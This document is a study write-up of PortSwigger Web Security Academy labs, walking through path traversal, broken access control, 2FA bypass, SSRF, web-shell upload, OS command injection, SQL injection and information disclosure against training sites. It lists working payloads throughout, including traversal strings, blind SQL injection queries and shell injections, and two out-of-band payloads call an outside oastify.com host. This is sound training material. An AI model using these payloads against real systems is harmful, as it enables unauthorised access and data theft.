# PORTSWIGGER SERVER-SIDE VULNERABILITIES LABS

## File path traversal
### Lab 1: File path traversal, simple case
* Using BurpSuite to intercept the request that load the page's file (image)
* Changing the path directory to etc/passwsd (../ to redirect to the root path)
* final `payload: ../../../../etc/passwd`
* Inject success

### Lab 2: File path traversal, traversal sequences blocked with absolute path bypass
* The application blocks traversal sequences but treats the supplied filename as being relative to a default working directory.
* Using relative path instead of absolute path
* Check with absolute path, can't retrieve the passwd file
* Using relative path: `/etc/passwd`
* Complete the lab

### Lab 3: File path traversal, traversal sequences stripped non-recursively
* The application strips path traversal sequences from the user-supplied filename before using it.
* Testing for normal payload
* Using fuzzing payload: `....//....//....//etc/passwd`
* Complete the lab

### Lab 4: File path traversal, traversal sequences stripped with superfluous URL-decode
* The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.
* Try to encode the payload: `../../../etc/passwd` 1 time
* Try to encode it 2nd time
* Sucessfully retrieve the passwd file

## Access control
### Lab 1: Unprotected admin functionality
* Access the robots.txt folder in the path of the URL (robots.txt: hidden file for crawler like Googlebot to escape the path inside the file)
* Found the admin's path
* Access with admin rights, delete user's account

### Lab 2: Unprotected admin functionality with unpredictable URL
* View the page source to see the source code of the page
* Can see the hidden path in the source code
* Using the hidden path, access with the admin's right
* Complete the lab

### Lab 3: User role controlled by request parameter
* Check the request after login, see the flag `Admin=flase`
* Change the `Admin=true`
* The admin panel is shown, change the `Admin=true` when access the admin panel
* Solve the lab

### Lab 4: User ID controlled by request parameter, with unpredictable user IDs
* Find the victim's blog: carlos
* Press into the carlos's account page and copy its id

* Go to the My Account page and paste the id into the URL

* Successfully change to carlos's account

* Take the API key, complete the lab

### Lab 5: User ID controlled by request parameter with password disclosure
* Using Burp Suite intercept to sniff the request that is used to redirect to My Account page
* Try to change the id to administrator
* The respond show that there is an administrator account
* After that, view the respond to see the password which have been hidden in the UI
* Using the admin's password, login as admin and complete the lab

### Lab 6: Insecure direct object references
* This lab stores user chat logs directly on the server's file system, and retrieves them using static URLs.
* Select "View transcript", the browser will download a txt file
* Text files are assigned a filename containing an increment number when trying to download transript files
* Realize that there is no 1.txt
* Catch the request that download the 4.txt transcript file
* Change it to 1.txt and observe the response
* The 1.txt file include the conversation that reveal the password of Carlos: `gfjqupxrf98k3sipvzsx`
* Login Carlos's account - complete the lab

### Lab 7: User role can be modified in user profile
* This lab has an admin panel at /admin. It's only accessible to logged-in users with a `roleid` of 2.
* Observe that the respond of the change id request contain the `roleid` field
* Add the `"roleid": 2` field to the request in order to access as admin's right
* The roleid is changed to 2
* Reload the main page, see the admin panel
* Access the admin panel, delete user carlos, complete the lab

### Lab 8: User ID controlled by request parameter with data leakage in redirect
* This lab contains an access control vulnerability where sensitive information is leaked in the body of a redirect response.
* To solve the lab, obtain the API key for the user carlos and submit it as the solution.
* Observe the request sent when access the "My Account " page
* The API key is leaked in the respond and also the user's id is revealed in the request's header
* Change the id to `id=carlos`
* Successfully login as user carlos
* Complete the lab with carlos's API key: `bbguT4TamdkV9Y7zri2cD9T1wnoZvFef`

### Lab 9: Multi-step process with no access control on one step
* This lab has an admin panel with a flawed multi-step process for changing a user's role.
* Access the admin account, create a request to promote user carlos and observe the request
* Take the request to Burp Repeater
* Log in as a normal user, take the session id and paste it into the request
* User wiener's session id: `uze84pteTysPz5fOvbqcyD0BLjfbJeby`
* Paste it into the promote request
* Change the username to wiener
* Lab complete

### Lab 10: Referer-based access control
* This lab controls access to certain admin functionality based on the Referer header.
* The process of completion is as same as the Lab 9, make sure the `Reference` header have the `/admin` path
* Take the request to Burp Repeater, change the name and session id to wiener's account
* Wiener's session id: `9MFTFzJh3tPoYZ7M0jq5uVEvKvgkieMR`
* Test if there is no `Reference` header, can the request be accepted
* Add the `Reference` header
* Complete the lab

## Authentication vulnerability
### Lab 1: Username enumeration via different responses
* This lab is vulnerable to username enumeration and password brute-force attacks.
* Capture the login request with a random user name and password
* Add the `$` in the payload that will be brute forced (username and password)
* Set up the Intruder tab in Burp Suite that fit the Brute Force Attack (Cluster Bomb attack)
* Using the list of username and password that is given by Port Swigger
* After the attack, find the payload that have the smallest length or have status code 302 (redirect to other pages)
* Found the suitable payloads
* Try it in the lab - success

### Lab 2: 2FA simple bypass
* It is clearly that after loging and authenticate with 2FA, the web page will redirect to the path `/my-account`
* Testing with an user's account, this `/login2` seems to be the page that use for 2FA, try to bypass it by modify the request to redirect to `/my-account` after login successfully
* Bypass successfully
* Test with the victim's account, using Burp to catch the 2FA request
* Drop the 2FA request
* Create new request by edit the URL, replace `/login2` with `/my-account`
* The lab is complete

## Server-side request forgery
### Lab 1: Basic SSRF against the local server
* This lab has a stock check feature which fetches data from an internal system.
* To solve the lab, change the stock check URL to access the admin interface at `http://localhost/admin` and delete the user `carlos`.
* Using Burp to intercept the request when checking the stock in a random product
* Can see the API call in the body of the request
* Change it to `http://localhost/admin`
* The admin panel is shown
* Can see the path to the delete user request which is: `/admin/delete?username=carlos`
* Modify the new API request to delete user `http://localhost/admin/delete?username=carlos`
* Complete the lab

### Lab 2: Basic SSRF against another back-end system
* This lab has a stock check feature which fetches data from an internal system.
* To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos
* The request when checking the stock, can see the stock API is in the body of the request: `http://192.168.0.1:8080/product/stock/check?productId=1&storeId=1`
* Change it to `http://192.168.0.X:8080/admin`
* Using Burp suite to find the final octet X in the IP address that can access to the admin's path
* Using brute force technique to find X
* The payload that give status code = 200 is the final octet of the IP address
* Final admin's address: `http://192.168.0.155:8080/admin`
* Change the path in the request
* To delete carlos's account, change the path to: `http://192.168.0.155:8080/admin/delete?username=carlos`
* Complete the lab

### Lab 3: SSRF with blacklist-based input filter
* This lab has a stock check feature which fetches data from an internal system.
* To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.
* Can see that the black list contain the phrase like 127.0.0.1, localhost, /admin,..
* Try to shorten the admin IP address to 127.1
* The main problem is the "admin" word
* Try to double encode the letter "a" in "admin" to `%25%36%31`
* Successfully bypass the blacklist with the final payload: `http%3a//127.1/%25%36%31dmin`
* Delete user "Carlos" with paylaod: `http%3a//127.1/%25%36%31dmin/delete?username=carlos`
* Complete the lab

## File upload vulnerabilities
### Lab 1: Lab: Remote code execution via web shell upload
* This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's filesystem.
* When uploading an image, there will be a request that perform a GET method to the image's path in the application, in this example: `/files/avatars/vo3.jpg`
* Create a PHP file: exploit.jpg containing a script for fetching the contents of the victim's secret file:
* Upload the php file instead of img
* The victim's secrete have been revealed but the application only show the img form, using Burp repeater to see the respond in text
* Victim's secret: `CwabH2BSUrTLkpOOVQ383tpdwNTWrJ4e`

### Lab 2: Web shell upload via Content-Type restriction bypass
* This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.
* Cannot directly upload the php file like the previous lab
* Retry, using Burp intercept to catch the request when uploading the php file
* In the Content-Type field of the php file, change it to image/jpeg in order to bypass the Content-Type restriction
* Check the GET request in the HTTP history tab after upload the php file to take the victim's secret
* Submit the secret

## OS command injection
* Useful OS command:

### Lab 1: OS command injection, simple case
* This lab contains an OS command injection vulnerability in the product stock checker.
* The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.
* 
* Check the stock in the lab, using Burp suite intercept to catch the POST request
* Insert the OS command that determine the name of the current user: `productId=1&storeId=1|whoami`
* The current user's information is revealed
* Complete the lab

### Lab 2: Blind OS command injection with time delays
* The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.
* To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.
* Create a feedback in the submit feedback field to intercept a POST request
* Add the `& sleep 10 #` payload into the email field
* The client will sleep for 10 seconds before return the respond

### Lab 3: Blind OS command injection with output redirection
* The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at: `/var/www/images/`
* Intercept the submit feedback request
* Using the payload:`& whoami>/var/www/images/output.txt #` in the email field to direct the output to the writable folder
* Reload the page, choose a random GET request that contain the filename field to intercept and replace the filename with the output.txt
* The respond show that the `whoami` output is printed in the `output.txt` file
* Complete the lab

### Lab 4: Blind OS command injection with out-of-band interaction
* The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.
* Take the location of the Burp Collaborator: `oqi5o3nl5yyf02y3k3yqe9osxj3ar4ft.oastify.com`
* Intercept the submit feedback request
* Using payload:` & nslookup oqi5o3nl5yyf02y3k3yqe9osxj3ar4ft.oastify.com #`
* Add the payload in the email field
* The request successfully look up the Burp Collaborator DNS
* Complete the lab

## SQL injection
### Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
* When check a category, the URL can be observed: `/filter?category=Accessories`
* Try to inject the payload `' -- `to test if the application is vulnerable with SQL injection
* There is a new product appear, may be this is an unreleased product
* Can see that the application is vulnerable with SQL injection
* Try a different payload to check if there is more unrelease product in the `product` table, regardless of the `category` value: `' OR 1 = 1 --`
* All of the unreleased product is revealed
* Complete the lab

### Lab 2: SQL injection vulnerability allowing login bypass
* This lab contains a SQL injection vulnerability in the login function.
* Try to bypass the password checking process by using pay load `' --`
* Password is a random number
* Complete the lab

### Lab 3: Visible error-based SQL injection
* This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.
* The database contains a different table called `users`, with columns called `username` and `password`. To solve the lab, find a way to leak the password for the `administrator` user, then log in to their account.
* Request to a product
* Using basic payload to check the error in the tracking id flag:
* Try different payload that take the password from the user table: `' and (SELECT password from users) -- `
* The error said that argument of AND must be type boolean
* Change the payload to: `‘ and 1=CAST((SELECT password from users)AS int) — `
* Seems that the query are too long
* Delete the tracking id value:
* There are too many rows => limit it to 1 by the the command: LIMIT 1
* While the password is not int, the sql server return the error that might expose the password (Postgre sql)
* We have the password of the first row, check its username: change `password` to `username`
* The first row is the admin information
* Lab solved

### Lab 4: SQL injection UNION attack, determining the number of columns returned by the query
* This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query.
* Intercept the request to a category
* Using payload: UNION SELECT NULL -- to check the number of columns
* Error meaning that the number of column is wrong, try a different number
* So there are 3 column in the query

### Lab 5: SQL injection UNION attack, finding a column containing text
* Identify a column that is compatible with string data.
* After know that the query have 3 columns, using the payload to identify the column that compatible with string data:
* Error, replace the string to a different column:
* The second column is the column that compatible with string data:
* Complete the lab

### Lab 6: Blind SQL injection with conditional responses
* This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
* The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.
* The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
* To solve the lab, log in as the administrator user.
* The "Welcome back!" nofitication is like a true/false indicator
* Take the login request to the Repeater
* Test with normal payload: the Welcome back message appear => the query is true
* Test with the wrong payload, no Welcomeback message => the query is false
* Table check: ' AND (SELECT 'a' FROM users LIMIT 1) = 'a'--
* If the table "users" exist, it will return the Welcome back message
* When the table not exist:
* Verify username: check if the user name "administrator" is exist
* Payload: ' AND (SELECT 'a' FROM users WHERE username = 'administrator') = 'a'--
* The administrator account is exist
* Check the length of the password: ' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND LENGTH(password) >1 ) = 'a'--
* Return true only if user "administrator" exist and its password is >1
* The administrator password's length is greater than 1
* Using Burp Intruder for automation test:
* Payload type: Number, from 1 to 30
* Notice that in the content length, the Welcome back message make the length longer => the content length become longer in payload 20 => the password length's is 20
* Extract password character-by-character
* Payload: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'--
* Extract the first character and compares to a => if the same => return true
* Do it the same with the rest of the letters
* After finding the first the character. do it the same with the other character
* Using Burp Intruder
* Setting the flag respond:
* Sort the result that have the flag respond "Welcome back" in ascending order
* The password is: ywh0pwdaligrech0ksdh
* Lab solved

### Lab 7: Blind SQL injection with time delays
* The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
* Using payload : '||pg_sleep(10)-- to trigger a time delay
* Intercept a request
* Add the payload to the tracking id field:
* The respond is delayed for 10 seconds

### Lab 8: Blind SQL injection with out-of-band interaction
* Trigger out-of-band interactions with an external domain.
* Payloads:
* Intercept a request with the tracking id value, using payloads to cause a DNS look up to the Burp Collaborator client
* Burp collaborator server location: 9cmsl7w6zxq3w6kv88b3whn66xco0io7.oastify.com
* Full payloads: ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://9cmsl7w6zxq3w6kv88b3whn66xco0io7.oastify.com/"> %remote;]>'),'/l') FROM dual --
* Using URL encode
* The collaborator server's client show that there is a DNS lookup from the DB Server
* Complete the lab

## Information disclosure
### Lab 1: Information disclosure in error messages
* Open a product page, try to make the request error by BurpSuite and observe the error response

* The request for a product page
* Add to repeater and modify the request

* The framework's version is reveal due to an verbose error message: `Apache Struts 2 2.3.31`
* Complete the lab

### Lab 2: Information disclosure on debug page
* This lab contains a debug page that discloses sensitive information about the application.
* Using Burp Engagement tools to find a page that can contain an HTML comment or any debug information

* Found a comment that lead to the path /cgi-bin/phpinfo.php

* Using Repeater to retrieve the file, make sure the request will retrieve the /cgi-bin/phpinfo.php page

* Found the secret key: `i7lc4uz16zlvmzro09cg1dzagssjo68y`

* Complete the lab

### Lab 3: Source code disclosure via backup files
* Using Burp Engagement tools to discover contents

* Found a file path `/backup/` (Could be a backup file in the editor)

* Create a request to the `/backup` path
* The respond show the file `ProductTemplate.java.bak` - which is definitely a backup file

* Sent another request to the `/backup/ProductTemplate.java.bak` path in order to retrieve the backup file's contents

* The database information is revealed

* Submit the answer - complete the lab

### Lab 4: Authentication bypass via information disclosure
* Using Burp Content discovery to find the `/admin` path

* Create a request to the `/admin` path

* Change the HTTP Method to TRACE to see the full request

* The `X-Custom-IP-Authorization: 203.162.249.235` indicates that the user is not authorized due to the IP address
* The admin IP Address can be accessed in localhost => using loopback IP range (127.0.0.0 to 127.255.255.255)
* Replace the IP address to 127.0.0.1
* Bypass successfully
* Intercept the request and replace with this new request to access the admin panel

* Add the `X-Custom-IP-Authorization: 127.0.0.1` in the request that delete the user carlos

* Complete the lab